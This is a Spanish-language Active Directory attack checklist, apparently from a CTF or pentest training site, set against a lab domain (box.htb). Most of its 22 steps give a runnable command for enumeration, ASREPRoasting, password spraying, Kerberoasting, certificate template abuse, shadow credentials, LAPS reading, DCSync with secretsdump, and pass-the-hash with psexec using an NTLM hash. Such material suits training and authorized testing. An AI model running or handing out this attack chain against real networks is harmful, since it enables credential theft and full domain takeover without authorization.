Active Directory

Cada usuario nuevo que consigues reabre la lista: vuelve a la fase de enumeración autenticada con él antes de seguir.

Objetivo 0 de 22

Ocultar lo hecho

Los comandos usan los datos que escribiste en las chuletas (tu IP, la de la víctima, el dominio...).

Sin credenciales 0/6

Sacar el nombre del dominio y del DC (nmap, LDAP, SMB)
```
netexec smb 10.10.11.20
```
Sincronizar la hora con el DC (Kerberos falla con más de 5 minutos de diferencia)
```
sudo ntpdate 10.10.11.20
```

Sesión nula o invitado en SMB, RPC y LDAP

netexec smb 10.10.11.20 -u guest -p '' --rid-brute

Enumerar usuarios válidos con Kerberos

kerbrute userenum -d box.htb --dc 10.10.11.20 usuarios.txt

ASREPRoast a los usuarios sin preautenticación

impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20

Password spraying con cuidado (mira antes la política de bloqueo)
```
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success
```
Guía →

Recoger datos para BloodHound y marcar el usuario como owned

bloodhound-python -d box.htb -u usuario -p 'Password123!' -ns 10.10.11.20 -c All --zip

Recursos compartidos legibles: scripts, GPP, ficheros de configuración
```
netexec smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus
```
Guía →

Descripciones de usuarios y atributos con contraseñas

netexec ldap 10.10.11.20 -u usuario -p 'Password123!' -M get-desc-users

Kerberoasting de las cuentas de servicio con SPN

impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Buscar plantillas de certificado vulnerables (ESC1-ESC16)

certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Leer contraseñas de LAPS y gMSA si tienes permiso
```
netexec ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
```
Guía →

Probar el usuario en MSSQL, WinRM y RDP

netexec winrm 10.10.11.20 -u usuario -p 'Password123!'

Seguir en BloodHound las ACLs abusables (GenericAll, WriteDACL, ForceChangePassword...)

Guía →
Shadow credentials si puedes escribir msDS-KeyCredentialLink
```
certipy shadow auto -u [email protected] -p 'Password123!' -account objetivo
```
Chuleta → Guía →

Delegación sin restricciones, restringida y RBCD

impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20

NTLM relay y coerción (SMB sin firma, WebDAV, PetitPotam)

Chuleta → Guía →
Grupos privilegiados: Backup Operators, Server Operators, DnsAdmins, Account Operators

Chuleta →

DCSync con una cuenta con permisos de replicación

impacket-secretsdump box.htb/[email protected] -hashes :64f12cddaa88057e06a81b54e73b949b -just-dc-ntlm

Comprobar el acceso con el hash del administrador (pass-the-hash)
```
impacket-psexec box.htb/[email protected] -hashes :64f12cddaa88057e06a81b54e73b949b
```
Chuleta → Guía →
Relaciones de confianza con otros dominios o bosques
Guardar el camino completo de BloodHound como evidencia